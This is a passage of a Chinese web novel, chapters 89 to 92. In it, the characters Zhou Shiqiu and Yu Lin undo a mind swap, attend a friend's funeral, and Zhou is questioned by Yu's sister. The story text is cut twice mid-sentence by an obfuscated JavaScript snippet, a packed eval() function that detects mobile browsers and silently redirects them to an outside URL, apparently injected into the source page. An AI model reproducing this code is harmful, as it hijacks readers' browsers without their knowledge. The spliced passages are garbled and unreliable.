这一次,周拾秋眼疾手快,一把抓住了齐绮的手,笑着劝道:“别打了,你现在打的可是庾总监。” 齐绮被她这么一说,又恼又羞,收回手,不好意思地对身旁的庾林说:“要不你们先换回来?” 周拾秋急忙拽住庾林的胳膊,瘪嘴装可怜道:“别别别,你现在换回来,绮绮铁定要打我。” “反了你了!” 齐绮转身去抓周拾秋的手环,周拾秋仗着庾林的身高优势,火速抬手。齐绮蹦了几下,根本碰不到手环的边,满脸无语地停了手。 庾林却在此时开了口:“这么喜欢待在我身体里,要不一辈子待在里面?” 一句如同威胁一般的话,被庾林微笑着说出口,莫名让周拾秋心头一颤。她仿佛梦回到许久前的某个夜晚,梦中的庾林与她意识对调,将她困在了被五花大绑的身体里…… “谁、谁喜欢这具身体了!”周拾秋懊恼地吼了一声,随即在手环上提交了任务完成申请。 看着庾林唇角含笑,在手环上点击了同意,两人的意识终于回到了各自的身体。 成功回归本体的庾林顿觉一阵头疼,双手抱头蹲在了地上,“你昨晚干什么了?” 周拾秋往边上挪了挪,俯下身,双手合十,不好意思地说道:“呵呵,跟柴星曜聊得有些上头,他非拉着我结拜,又跟我喝了不少酒……酒精代谢没那么快,你要不到客房里再躺会儿?我去找找附近有没有醒酒药卖……” 庾林忍着不适站起身,就近在椅子上坐下,摆了摆手,拒绝了周拾秋的提议,追问道:“他们没为难你?” “没有。”一说起这件事,周拾秋又得意洋洋起来,“嘿嘿,柴星曜一心想拉拢进化者,我这种人才,他巴结都来不及,哪能为难我呢?” “嘚瑟啥呢,没事不知道早点联系吗?不知道昨天大家担心了一晚上吗?”齐绮说着就来气。 周拾秋急忙压下嘴角,收敛锋芒,一脸讨好地凑到齐绮身旁,努力辩解道:“真是个意外,我保证以后不让你担心了!这不恰好见到柴星曜,聊得一时忘了时间。” “还挺健谈,你们很熟吗?”庾林突然问道。 “之前不算熟,现在熟了,不过他觉得是跟你熟,而不是跟我熟。”周拾秋眨眼道。 庾林顿觉背后一丝凉意,一种不好的预感浮上心头,“你又做什么事了?” 周拾秋这才一五一十告诉庾林,自己曾帮暗魈做过事,组织内代号为“夜行蝠”,而暗魈老大柴星曜,现在误以为“夜行蝠”的真实身份是庾家少爷。 并且这位庾家少爷还是在逃中的控制系进化者。 两人昨晚相谈甚欢,当场结拜。 至于二人夜里聊了什么,周拾秋觉得也没什么好隐瞒的,便开诚布公告诉二人,她打听了关于进化者异能转移的问题。 对此,柴星曜暂且保持怀疑,他至今还没听说过任何异能转移的先例,但是并不排除可能出现在他尚未踏足的领域。 柴星曜表示可以帮她调查一下。 此前周拾秋还疑惑,柴星曜能如何调查关于进化者这个敏感问题,今天算是明白了。 这世上还有谁对进化者的了解能超过进化研究所呢? “虽然柴星曜暂时不清楚究竟是怎么回事,但他针对可能存在的异能转移和心病治疗,有很好的建议。” “什么建议?” 齐绮很难相信拉着周拾秋喝了一晚上酒的人,脑子里能装有什么明智的建议。 周拾秋拍了拍庾林的脑袋,似笑非笑地说道:“曜哥说,如果记得异能消失时发生过什么事,或许让场景重现,便能将消失的异能再拿回来。至于心病嘛,也不是无药可救,也许可以试试脱敏治疗方法。” “什么跟什么,我怎么觉得听起来不大靠谱呢?”齐绮深感怀疑。 “嘿嘿,我觉得曜哥的话非常有道理。”周拾秋露出狡黠的笑。 在庾林眼里,她的笑,犹如一把冰刀,沿着背脊一路向上,一直滑到了后脖颈上,凉得庾林浑身一激灵。 “所以,你说想来鸾鹤市,就是为了见暗魈老大?”庾林突然反应过来。 “昂,可惜路途太远,我不方便离开,没想到你会来这儿,想着刚好,就……”周拾秋坦白,转而又问,“你到底来干嘛的?听你大学同学说你会滑雪啊,干嘛还让我学?” “……你觉得呢?” “猜到我不会,故意找茬?” “……脑子真好使……” “?” 对于庾林想一出是一出的操作,周拾秋依旧看不懂。 因为桑云海的离世,庾林度假的计划被彻底打乱,他再无心情参与滑雪、觅食、泡汤等行程。 不过因周拾秋昨晚喝了太多酒,三人没有立即出发回凌沪,而是在温泉山庄多休息了一晚。 白天,齐绮秉承着来都来了的原则,独自去滑雪,周拾秋因宿醉心怀愧疚,留在山庄里照顾庾林。 可惜,她留下的决定似乎有些多余。 一下午,庾林很忙,因为凌云集团千金出事,他的电话好像就没断过。 各种电话打进打出,话题几乎都围绕着桑云海,提前告知庾双消息、商量登门慰问事宜、吩咐康管家确认葬礼日程、确定礼金和吊唁品…… 桑云海这个人出现得很突然,离开得也很突然,却留下得极具侵略性。犹如空气,无处不在。 准确来说,庾林并没有见到桑云海最后一面,应该会有遗憾。 虽然周拾秋并不能理解,这份情谊会有多重,毕竟除了齐绮,她与同学的关系很淡,所以感受不到突然听到同学去世的噩耗,心情会有多沉重。 只是看着庾林一下午,满心都是桑云海,她似乎有些理解,为何大家都觉得,桑云海应该是庾林的另一半。 心中有些情绪在萌芽,负面且邪恶,让她很不舒服。 她安静地坐在房间角落,看着庾林走来走去,插不上嘴,也帮不上忙。 直到一切安排妥当,一脸疲惫的庾林才踱回床边,准备躺下缓解一下头疼。一瓶醒酒药突然递到他面前,他才猛然意识到,周拾秋还在房间里。 “你怎么没有陪齐绮出去玩会儿?”庾林接过醒酒药,随口问了一句。 周拾秋偷偷翻了个白眼,心中不满嘀咕着“好心还不领情”,表面笑嘻嘻:“我天性不爱玩。” 庾林闻言抬眼瞅了她一眼,满脸写着不信,却没当面拆穿,点头道了声:“是,看得出来。” 周拾秋在床边坐下,看着庾林把一瓶解酒药饮尽,犹豫着问:“桑云海遇上这种事,你很难过吧?” 庾林一愣,面上波澜不惊, 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这个问题令庾林无语到发笑,一时不知道说她什么好,见她一脸认真等待回答,揶揄道:“且不说你干嘛不盼着自己点好,光是五年不联系这点就不成立。” 他的回答并没让周拾秋满意,周拾秋气势汹汹地回怼:“我是说如果,你回答就成,怎么老喜欢挑人毛病,找茬呢?” “好好好,不找茬。”庾林无奈地勾了勾唇角,“葬礼就不参加了,我给你陪葬。” 这次回答周拾秋甚是满意,抿嘴偷笑,出言调侃:“看来我在庾总监心里的分量很足嘛,现在意识到我这危代人的重要性了?” 庾林故作理智地帮周拾秋分析:“那可不,你要是出事了,心病和异能的问题就没人能解决了,那不得给你陪葬吗?” 笑容瞬间僵在了脸上,周拾秋一巴掌覆在庾林的面门上,用力往后一推,庾林便躺倒在床。 “睡你的觉吧!昨晚酒还是喝少了,就该让你再难受点!”周拾秋气呼呼地站起身往门外走去。 庾林侧过身子,对着她的背影喊道:“不要我陪葬了?” “做梦呢?我能长命百岁,庾总监先努力活过我再说。”周拾秋没好气地怼道。 庾林轻笑:“知道了,我努力。那,保镖小姐后天会陪我出席葬礼吗?” 周拾秋脚下一顿,回头看了庾林一眼,心中有些想拒绝,“任务?” 庾林:“不算。” 周拾秋:“那我不去。” 庾林:“你不怕我出席葬礼时,给别人陪葬了?” 周拾秋:“……你不去不就行了……” 庾林:“我得送她最后一程。” 周拾秋:“啧,你还不如说是任务呐!” 庾林:“后天一早我去接你。” 周拾秋:“知道了,烦!” 周拾秋摔门而去,庾林看着空荡的房间,心中怅然若失。 自从获得读心能力后,似乎没遇上一件好事。母亲因此走上绝路,与父亲从此决裂,他从所有朋友身边逃离,生活不再有任何色彩。 当他以为余生都将这样黯淡下去,却有一束光照进了他的世界。 也许他也可以回归正常生活?即便失败,从今往后,也许他不用一个人了? 他有了贪婪的想法。 可那束光似乎没有留下的想法,有时候他宁愿看得没那么真切。 最近,五年前火场中,夜白鹭对他说的话时常萦绕在耳边。 “如果你愿意做我男朋友,我不介意顺便救你一命。” “但你不能喜欢我哦,否则你会死。” “从现在起,你属于我了。” 不管是过去,还是现在,她想要的好像从来都不是他的感情…… 90. 第090章 12月9日一早,天还未亮,一辆来自于自由区的豪车停在了涟上区龛云路花店门前,引得过路行人频频回首。 周拾秋不敢让车停太久,接到电话立马下了楼,跟后面有人追似地冲到后座,屁股还没坐稳就催着司机开车。 “急什么,吃早饭了吗?”庾林见状,漫不经心地问了句。 “哪儿还有闲心吃饭,赶紧走吧。”周拾秋翻起衣领挡住脸,身子往下缩了缩,嘴里嘟囔,“你不怕再传出小三谣言,我还怕被打上舔理想者的标签呢,总之,小心为妙。” 花店的生意好不容易恢复如初,周拾秋不想为了短暂的委托工作,砸掉自己今后的饭碗。 庾林闻言眼神瞬间黯淡,没有接话,将一盒三明治塞到周拾秋手里,转头看向窗外,声音毫无情绪地吩咐司机开车。 “今天怎么这么好,还专门为我准备早餐?” 周拾秋并未觉察庾林的异样,接过三明治,开心地吃了起来。 “康管家做的,做多了,剩的。”庾林别扭地回了一句。 “哦哦,剩得好。”周拾秋听了根本不介意,往前挪了挪身子,对坐在副驾座上的康管家说,“谢谢啊,康管家,你没做多我还得饿肚子呢。” 康管家回头冲她微微一笑,想说什么,被庾林瞪了一眼,只好点头承认:“呵,是啊,这么多年都没弄清庾先生饭量,一不小心就做多了。” 周拾秋闻言乐呵道:“肯定不是你的问题,有问题也是庾木木的问题。” 庾林不语,只当没听到。 桑云海的葬礼被安排在了凌沪市外,林月山上的冥光墓园是凌沪市仅有的公共墓园。 说来有些奇怪,理想者与自由者分区而居,但身死后,又全都住进了冥光墓园。似乎生前那些成见与隔阂,一旦身死,都随身体化作一捧骨灰,不存在了。 一个小时后,车驶入林月山脚下的冥光殡仪服务区,他们将在这里参加遗体送别仪式。 凌云集团也算是凌沪市自由区有名的财团,前来吊唁的人自然多了些。 这场葬礼更像是商务聚会。 参加,有助于巩固集团、企业、家族之间的相互联系;不参加,无异于拂了凌云集团以及夏家的面子。 当真只是来见逝者最后一面,送逝者最后一程的人其实不多。 庾林算是其中一个。 他一下车便被聚在停车场里闲聊的五人叫住,他们五人周拾秋在同学会上见过,但名字叫不全,唯一记得的人,只有黎浩哲和箫芮。 仪式还没开始,箫芮就已经哭成了泪人,被另外几人安慰着。 五人看见庾林身边跟着个守旧者,全都露出微妙的表情,明面上没说什么,可相互的眼神交流中写满了排斥。 前天,周拾秋顶着庾林这个身份,尚可与众人有说有笑,此刻温和善意全无,有的只是偏见。 庾林突然上前半步,并往周拾秋身前移了移,恰好挡住了所有看向周拾秋的视线。 “去看看云海。”庾林面无表情对五人说了句。 维护之意过于明显,五人面露担忧,皱着眉头相互递着眼色,一副欲言又止的样子。 周拾秋瞧在眼里,心中自然明了,时常出入自由区的这段日子,这样的目光她见多了,虽说不上习惯,却也能做到无视。 毕竟,理想者与守旧者之间的矛盾,也不是她一个人能改变的事。 气氛有些尴尬,萧芮抹了抹眼泪,带着点未调整好的情绪,从中调和:“嗯,大家都别在这儿杵着了,去看看云海,送她最后一程。特别是你,庾林,云海肯定想听你说说话。” “嗯。”庾林平淡地哼出一个字。 众人从周拾秋身上收回视线,向着灵堂方向而去。 庾林没有立刻迈步,侧身低头,悄声对周拾秋说道:“今天你跟在我身后就行,有人靠近你也不用帮我出头,我自有分寸。” 周拾秋有些诧异,也有些腹诽,庾林让她别出头,那她跟到这里来,除了遭受白眼,似乎没什么实质大用。 可既然老板这么安排了,她只能被迫接受,微微点了点头,一言不发跟在了庾林身后。 没走两步,黎浩哲放缓步调,与庾林并肩而行。 黎浩哲瞥了一眼落后一步的周拾秋,低声对庾林说:“我有个朋友在佑民医院工作,跟我说过一个传闻,跟你有关。” “哦。”庾林一脸漠然,目不斜视的模样仿佛在说“关我屁事”。 即便如此,黎浩哲还是自说自话道:“听说庾家少爷雇了个守旧者做秘书,住院时还带在身边,不会就是她吧?” “所以呢?”庾林冷哼。 黎浩哲有种鞋里进石子的感觉,膈应,出于好意,又耐心劝道:“你是庾家少爷,身后是整个广臾集团,一时觉得新鲜,玩玩就收心,别陷得太深,身份之间的鸿沟,很难逾越。” 一番话说得语重心长,一副过来人的好言相劝。 庾林突然停下脚步,跟在身后的周拾秋一头撞了上来,她一手抵在庾林背上,推开两人之间的距离,一手捂着鼻子,一脸怨念地瞪着庾林。 “庾木木,你干嘛,妆都蹭花了,你故意的吧……”周拾秋嘴里小声骂道。 庾林没搭腔,一把抓住她的手腕,对黎浩哲说了句:“很早以前我就不是什么庾家少爷了,我只是庾林。”说罢,拉着一脸茫然的周拾秋远离了那五人。 身后传来同学的呼唤声,除了黎浩哲,谁都不知道庾林到底在发什么脾气。 到灵堂见桑云海最后一面时,房间里只有周拾秋和庾林两人。 周拾秋并不认识桑云海,便留在门边远远看着。 庾林神情淡然,眉宇间或有悲伤,却不深。他同桑云海说了几句话,声音很轻,带着笑意和打趣。就仿佛桑云海还活着,这只不过是很普通的好友见面。 房中异常安静,周拾秋竖着耳朵便将话听了去。 “你曾说过,你我都不该一味接受家族的安排,没想到最后妥协的人是你。” “你是不是后悔了?如今这般,还不如当年答应庾桑两家的联姻?” “呵呵,我就是怕看到你后悔,怕发现你暗恋我,这些年才没去找你。” “当然都是玩笑,说好是朋友,就一辈子都是朋友。” “没见面其实也没什么可惜,我一直觉得死亡是件很近的事,只是从未想过,你会走在我前头。” “好了,矫情的话我就不说了,说多了你也不爱听。” “我走了,桑云海。” 赶在其他人到来前,庾林带着周拾秋离开了灵堂。在灵堂门外,恰好碰到了迟来一步的五位同学,还有庾双和何文昊。 在看到庾双的一瞬间,周拾秋寒毛直竖,几乎是本能地往庾林身后躲。她很少会怕人,庾双算是其中一个,倒不是庾双这个人有多吓人,只是单纯觉得庾林的姐姐挺难应付。 特别当周拾秋想起上回庾林应付的话术,说她只做一个月秘书,让庾双等一个月结束后再看要不要找她麻烦。 现在距离一个月期限已经过去两天了…… 周拾秋从背后拉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122335|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉庾林的衣服,低声威胁:“你姐如果找我麻烦,我可就退款开溜了哦。” “乌鸦小姐,这点抗压能力都没有?收了钱,就没有反悔的道理,违约都还要付违约金,哪儿是想溜就能溜的?”庾林说得轻巧,面上不当一回事,但身体还是老实地站直,将周拾秋挡了个严实。 “压力你的话,这委托我就接了,可你姐压力的是我,工伤好吧?”周拾秋强词夺理。 “放心,公共场合,她不能拿你怎么着。”庾林说。 “你确定?”周拾秋怀疑。 “她好面子,家丑不外扬。”庾林言辞肯定。 “哈?什么家丑?”周拾秋疑惑。 “弟弟给人当小三。”庾林不正经地回道。 “……你要不要听听你说的是人话吗?”周拾秋从身后偷偷掐着庾林的腰。 二人说笑间,庾双与两人擦肩而过,什么话也没有说。 正如庾林所想,他这位同父异母的姐姐比他看重庾家和广臾集团,就算真的怀疑弟弟与守旧者关系不一般,也不会在公开场合出声。 庾林全程淡定地迎上庾双质问的眼神,一副问心无愧的模样,周拾秋则小心翼翼地回避着与庾双的视线接触。只听庾双不易觉察地叹了口气,目不斜视地进入灵堂。 遗体告别,火化,下葬,一整套流程走得十分公式化。 庾林不喜人多,全程只带着周拾秋远远看着,目送桑云海最后一程。 墓园中,观礼的人潮渐渐散去,四周又恢复了一贯的清静,亦如人死后留在这世间的痕迹,终将淡去。 庾林望着墓碑,周拾秋望着庾林,一人表情波澜不惊,仿佛不带一丝情绪,一人困惑好奇,想要读懂感情。 天空中,又不合时宜地飘起了小雪。 凌沪市的雪终究没能覆盖整片大地,脆弱的雪花落地消融,雪中还参杂着雨滴,连带着人的心情都变得阴郁。 周拾秋手搭在额前挡雨,皱着眉头对庾林说:“别看了,回车上吧,我可不想接感冒发烧躺尸的委托。” “乌鸦小姐干活还挺挑剔。”庾林回头看了她一眼,微微扬起嘴角,调侃了一句。 但说话间,庾林脱下外套,整个盖到了周拾秋的头上,接着迈步朝停车场走去。 头发被布料摩擦得乱飞,周拾秋顶着那件外套急急追了上去,嘴里叨叨:“你是担心身体太好,感冒打不过你?真打算让我躺尸呢?别,我说笑的……” 庾林脚下未停,亦未回头看周拾秋一眼,只有声音幽幽传进了周拾秋的耳朵里:“如果真能解决我身上这些问题,乌鸦小姐还会看在钱的份上,继续留在我身边……打工吗?” “咦——”周拾秋听到这话,思考了片刻,只觉浑身一激灵,摇着头拒绝,“算了,还是打理好我的小店,省得麻烦,你也别把我想得太爱钱了,我还很爱偷懒呢。” 庾林沉默了片刻,才继续开口:“那如果我身上的问题解决不了喃?你会留下来吗?” “不用这么悲观,柴星曜答应帮我打听了,进研所研究得那么透彻,解决是迟早的事!放心。”周拾秋鼓舞一般拍了拍庾林的后背。 庾林却突然停步转身,垂眸轻叹,一只手掀开外套一角,露出周拾秋半张脸。 带着小雪花的雨水滴在庾林手背上,和被他掀起的外套上,只有藏在外套底下的周拾秋幸免于难。 周拾秋一头雾水,抬头望去,只见凝视着她的那双眼睛里燃烧着些许期待。 “如果我说不用你解决这些问题了呢?你还会留下来吗?” 91. 第091章 雨淅淅沥沥地下着,周拾秋将外套当伞撑在头顶,庾林却在这个时候将她拦在了雨中。 一只手帮她撑着外套,却也让她的眼睛落入了他的视线中。 一句莫名其妙的话自庾林口中说出,带着试探的味道,将四周阴郁潮湿的空气染上一丝诡异的色调。 如果不是庾林看她的眼神太过认真,她都要怀疑庾林又设下什么陷阱,正等着她往里面跳。 “这话……听着怎么这么像表白呢?” 周拾秋藏在外套底下的耳朵微微发烫,心感觉漏跳了一拍,面上还要强装镇定,看似淡然一笑,轻松调侃,伸手摸了摸庾林的额头,“也没发烧呀,才淋了几滴雨就感冒了?要不,外套还你?” 周拾秋说着就要将外套递还回去,外套的一角却被庾林死死拽住,并顺势抓住了她的手指,那外套便变成了无法挣脱的牢笼。 庾林没等她回答,就已经在她眼中看到了答案,垂眸苦笑着摇了摇头,转眼又恢复了往日的淡漠。 他戳了戳周拾秋的额头,冷笑道:“表什么白,需要个协议危代人帮我应付麻烦事罢了,赚钱的事,不考虑继续做下去?” “哈?不考虑!”周拾秋有种被人抽脸的不爽,不过并未同庾林置气,很快就调整好心态,豪爽地告诉庾林,“放心,我有预感,不管是你身上的问题,还是那伙罪犯,不出一个月,都会解决,你就可以回归正常生活啦。” “麻烦也不止这些……” “就你那些鸡毛蒜皮没营养的委托,还不如你外甥,别遇上事就想着用钱解决,坚持,努力,别懒,就凭你捉弄人这股劲儿,没什么事办不成!”周拾秋故作深沉,表面好心安慰,暗地里却在痛斥着庾林的罪状。 “呵呵,谢谢,有被安慰到。”庾林送上一个敷衍的笑。 今天的庾林属实奇怪,不知是桑云海离世带来的刺激,还是淋雨淋傻了。 周拾秋细细琢磨着庾林之前的话,莫名觉得那就像被遗弃过的小狗害怕再被遗弃一般,带着些许哀求。 可这合理吗? 一眨眼,庾林的态度又完全变了,就像一切只是她产生的幻觉似的。 周拾秋不懂,只是一味地胡思乱想,而那个将她整颗心搅成一团乱麻的人,此刻却像个没事人,戏谑道:“想什么喃,挡好雨,赶紧走,你一个危代人感冒了,总不能让委托人帮你承受病痛折磨吧?” “那你呢?也不知道是哪头蠢驴先停下来的……”周拾秋反唇相讥。 “我感冒了自然由你负责,钱可不是白花的。”庾林漫不经心地说了一句,转身继续朝停车场走。 “你!” 前一刻以为庾林跟自己表白,这一刻她只想为了这种不要命的想法扇自己两巴掌,不,扇庾林两巴掌。 参加葬礼的宾客被安排在林月山下的酒店中,猝不及防的雨雪让一个个外表光鲜华丽的理想者顿显狼狈,在下榻的酒店中暂作休整,随后参加告别宴会。 晕头转向的周拾秋刚住进客房不久,房门就被敲响,来人不是庾林,而是庾双。 她今天出门一定是撞上了大凶日,否则怎么好像谁都跟她过不去? 原本打算像上次一样,偷偷发消息通知庾林,让庾林自己来应付他这位好姐姐,可庾双进门就强调:“我来找你的事,不要告诉庾林。” 周拾秋偷偷伸向手机的指头,只能无奈缩了回来。 “呵呵,姐姐找我有什么事吗?”周拾秋努力挤出一个看上去还算友善的微笑。 庾双走到房中坐下,犀利的眼神从周拾秋笑僵的脸上划过,语气不善道:“别叫我姐姐,我不是你姐姐,也没打算承认你和庾林的关系。” 大姐,叫姐姐只是想客气一下啊! 而且,跟庾林有什么关系需要承认啊? 周拾秋脑中如火山爆发了一般天崩地裂,尖叫呐喊充斥其中,面上却还得保持冷静,笑着回道:“好的,社长!” 在庾双的强大气场下,周拾秋犹如学校里被班主任抓早恋的卑微学生。 周拾秋敢肯定,上回这么紧张还是去进研所接受检测,但那时她可以抱着鱼死网破的决心,现在却不是那么回事。 要用异能吗?不能用异能吧? 周拾秋的眼珠随着脑内斗争,疯狂震颤。 有时候她真的觉得学做一个普通人太难,太憋屈,还不如任由犯罪基因自由发挥,结果怎么样不知道,反正自己爽了。 当她幻想着用异能控制庾双给自己跪地认错时,庾双气势汹汹地开口打断了她的思绪。 “这种场合还带守旧者来,我才不会相信什么只是秘书的鬼话!再说了,你说的一个月早该到了吧,为何你还在?嘴里没一句实话!” 听庾双骂骂咧咧,周拾秋有苦难言。 “这种事你问我干嘛?不该问你弟吗?专挑软柿子捏是吧?我反正收钱办事,你出价比庾木木高,那我立马认你当老板,一脚把庾木木踢边上。”周拾秋心想着如此爽快回怼。 然而只是想想而已,她现在还真不能说撂挑子就撂挑子。 麻烦一个都还没解决,钱收了不办事,这不是她的风格。 于是周拾秋深呼吸调整好情绪,端正站立,平心静气地向庾双解释:“社长,有一件事庾总监大概没有告诉你,我知道他有病。” 庾双闻言面色阴沉,厉声道:“怎么说话呢你?” “哎,我不是这个意思,你消消气。”周拾秋摆着手,尴尬安抚,“我的意思是,我知道庾总监有心病。” 好不容易将脾气暴躁的庾双劝下来,见她面色稍微缓和,周拾秋抹了一把冷汗。 庾双光是坐着,周身便散发出一股盛气凌人的气息,瞥了一眼周拾秋,语气冰冷地说:“就算你知道了又如何?难道你觉得可以以此要挟,嫁入庾家大门?” 好强的即视感,这一幕,这句话,仿佛见过无数遍。 周拾秋想了又想,这不是电视剧里才有的狗血剧情吗?怎么会让自己撞上了? 这不是重点,重点是她也没说要嫁给庾林啊。 周拾秋无奈笑道:“社长,我只是打工挣钱,谈婚论嫁这种事,不至于。” 庾双眼中寒光乍现,双腿交叠,摆出一副游刃有余的谈判姿态,“为钱?那事情就简单了,说说吧,多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126299|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱你才愿意不纠缠庾林?” 周拾秋两眼一黑,一口气差点没提上来,“社长,我们说的剧情好像不一样……你清醒点,庾总监那碰一下都不行的心病,谁知道了还愿意嫁进你们庾家啊?这婚结来干嘛?把庾总监纯当财神供起来,每天烧两柱香拜一拜吗?” “你!”庾双一听周拾秋如此说她宝贝弟弟,面色铁青,细想之下又不无道理,便忍着努力问,“不为嫁给庾林,你为何说话不算数,迟迟不离开?” “哎哟,怎么绕不过结婚这话题了……”周拾秋一脸憋屈,“实话说吧,不是我不想离职,是你弟弟要跟我续期。” “你想说,是庾林离不开你?”庾双音调不由得提高了几分,眼中满是不屑。 周拾秋感觉大脑有些缺氧,猛吸两口气,“我说话句句有歧义是吧……不是谁离不开谁的问题,你弟弟有心病,但对我免疫,所以让我帮他找治病办法呢!” 一鼓作气将想说的话全吐了出来,周拾秋长舒一口气,再看庾双,一脸震惊,那纠缠不清的气氛总算就此终结。 庾双沉默着思考了许久,好歹消化了这个惊人的消息。 “难怪庾林对你与众不同,原来……”庾双表情舒缓下来,似乎一颗悬着的心终于落下,“所以你有办法治疗他的心病?” “呃……”周拾秋愣了片刻,她总不能直接告诉庾双,她弟弟可能是因为获得异能而被诅咒了,为了避免麻烦,她只好点了点头,“啊治,肯定能治,就是还需要点时间。” “那我就放心了。”庾双笑着站起身,将周拾秋的手拢在手心,一脸真诚,“这件事就拜托你了,不管多少钱,只要能治好庾林的病,我都付得起。” 周拾秋心里感觉怪怪的,她这么随口一句话,庾双似乎就信了,完全没有怀疑会不会是权宜之下的谎言。 从庾双眼中,她看到的是强烈的期盼。或许她比庾林本人更希望心病能被解除,庾林能重回正常生活,毕竟庾林的心病,是整个庾家的秘密,是弱点,所以她宁愿相信这种飘渺的希望。 不过庾双接下来的话,让周拾秋明白,她所希望的,不仅仅是庾林的心病能解,更重要的是庾林将周拾秋留在身边,并不出于感情考虑。 “是我误会了,还请见谅。主要还是因为你守旧者的身份,让我过分担忧。”庾双带着点歉意,坦诚相告。 而后从庾双的口中,周拾秋了解到,她之所以那么在意守旧者这个身份,是因为庾林的母亲原本就是守旧者。 这个消息周拾秋早就知晓,只是她不懂,守旧者有必要让庾家那么紧张吗? 庾双面露难色,犹豫了半晌才开口道:“你听说过庾林母亲的传言吧?” “听过一点,不多。”周拾秋小心回答。 她对庾林母亲的了解仅限于八卦消息,什么守旧者为了钱嫁入自由区,什么庾林父亲强拆情侣,什么庾林其实不该姓庾…… 这些话,她哪儿敢在庾双面前提及,便只好装傻敷衍。 庾双清了清嗓子,低声说:“庾林因为母亲的事,跟父亲有很深的矛盾,所以,他也许会有意接近守旧者,只为找父亲不痛快。” 92. 第092章 庾林母亲叫牟怀枫,本是守旧者,意外结识庾林父亲庾万松,为了逃离原生家庭,选择了改籍,嫁入庾家。 只是从她踏入庾家大门起,各种谣言和争议就从未歇过气。 谁也不知道,牟怀枫嫁给庾万松究竟是出于真心喜欢,还是仅仅为了自身利益,因为唯一知道真相的那个人已经死了。 五年前的绑架案,庾林死里逃生,却得了怪病,成了庾家极力隐藏的秘密,而他母亲牟怀枫就死在庾林被救回家的第二天夜里,死因是自杀。 “自杀?怎么会?” 周拾秋被这个消息惊得合不拢嘴,特别是在自杀案频发的现在,不禁令人浮想联翩,虽然那已经是五年前的旧事。 庾双闭着眼,看似头疼般揉了揉太阳穴,声音有些疲惫,“也许多年的流言蜚语早就压得她喘不过气,而庾林的心病,成了压倒她的最后一根稻草。毕竟连亲生母亲都无法触碰,多少有些残忍。” “那跟庾董又有什么关系?”周拾秋疑惑。 对于这个问题,庾双摇了摇头,回答不上来,“大概庾林觉得父亲没能及时发现并阻止?也可能觉得母亲嫁给父亲根本就是错误的选择?总之,母亲死后,庾林便被父亲安排去了外地,从此他们再也没提过此事。” 牟怀枫的死,仿佛成了庾家的禁忌。 听了庾双的理论,周拾秋不说完全理解,也多少明白了她的顾虑,却很难认同。 为了同父亲置气,有意接近守旧者? 庾林是这样的人吗? 周拾秋感觉不像。她至今还记得初见庾林时,根本没有因她守旧者的身份,对她有半分怜惜。 这一回想,周拾秋不禁嗤之以鼻,引得庾双侧目而视。 周拾秋赶紧赔笑,话头一转,道:“社长太瞧不起庾总监了,他没必要拿自己的终生幸福报复别人。再说,庾董自己就娶了守旧者,又怎会介意呢?完全气不着他吧?” 她这番本是就事论事,只是没想到庾双听完,脸色霎时又阴沉起来,眼神中流露出些许试探。 “你不会……对嫁给庾林还有想法吧?”庾双突然问道。 周拾秋脑子嗡嗡作响,只怪自己这张嘴太快,想到什么就说了出来,赶紧摇头道:“哪儿能啊,纯属好奇,不太合逻辑,不是吗?” 好在庾双没有揪着不放,叹了口气说:“父亲不会同意庾林娶守旧者,至于原因,我也不知道。反正这也不是你需要关心的事,你若能治好庾林的心病,我必重谢。” 说完该说的话,庾双便告辞离开了房间。 周拾秋长舒一口气,总算将这个麻烦暂时打发掉了。看来不尽快解决庾林身上的问题,这个麻烦很难甩掉,她决定抽空催一催柴星曜。 中午,周拾秋拘谨地跟着庾林出席了告别宴会。一顿酒席过后,桑云海的葬礼便彻底落下了帷幕。而周拾秋今日的工作也暂时告一段落。 庾林让车先将周拾秋送回了花店,周拾秋下车时,庾林喊住了她。 庾林让周拾秋明天下午3点陪他去见客户,周拾秋感叹于庾林最近工作太积极。一问之下才知道,这位客户正是庾林的大学同学黎浩哲。 这时周拾秋才想起,在山间别墅里,黎浩哲曾拉她喝酒聊天,当时就提过一嘴,想让庾林帮忙定制仿生人。当时周拾秋没有应下请求,强势岔开了话题。想必今日再遇黎浩哲,又说到了这件事,庾林答应了。 “男客户也要我陪你去见?”周拾秋站在车门旁一脸嫌弃。 庾林回答:“嗯,需要!秘书小姐还挑剔起工作来了?” 周拾秋顿时没了拒绝的理由,重重地摔上门,脑袋却探进车窗,满脸堆笑冲着庾林挥手道别:“是,遵命,我的总裁大人!您慢走!” 一张脸完全落于庾林的视线里,庾林很难不从周拾秋的眼睛里看到她愤怒的火焰与咒骂,不由得冷笑了一声,“乌鸦小姐又找到报复的新手段了?” “嘿嘿,怎么会呢?我可什么都没说呀,你看到什么了吗?”周拾秋趴在车门边,故作天真地眨眨眼。 “没看到。” 庾林若无其事地回了一句,便让司机驱车离开。 “哼,装傻倒有一套,下次不妨想点更刺激的让你看看。” 周拾秋对着远去的车影,露出不怀好意的笑。 读心,也不见得是件好事。 下午,周拾秋在店里忙活,想联系柴星曜催调查结果,才想起柴星曜眼中的夜行蝠是庾林,不是周拾秋。 于是她一边忙着生意,一边计算着庾林返回住处的时间。 约莫下午4点,她终于确定庾林回到家中,便跟庾林打了个商量,想借他身体用一用。 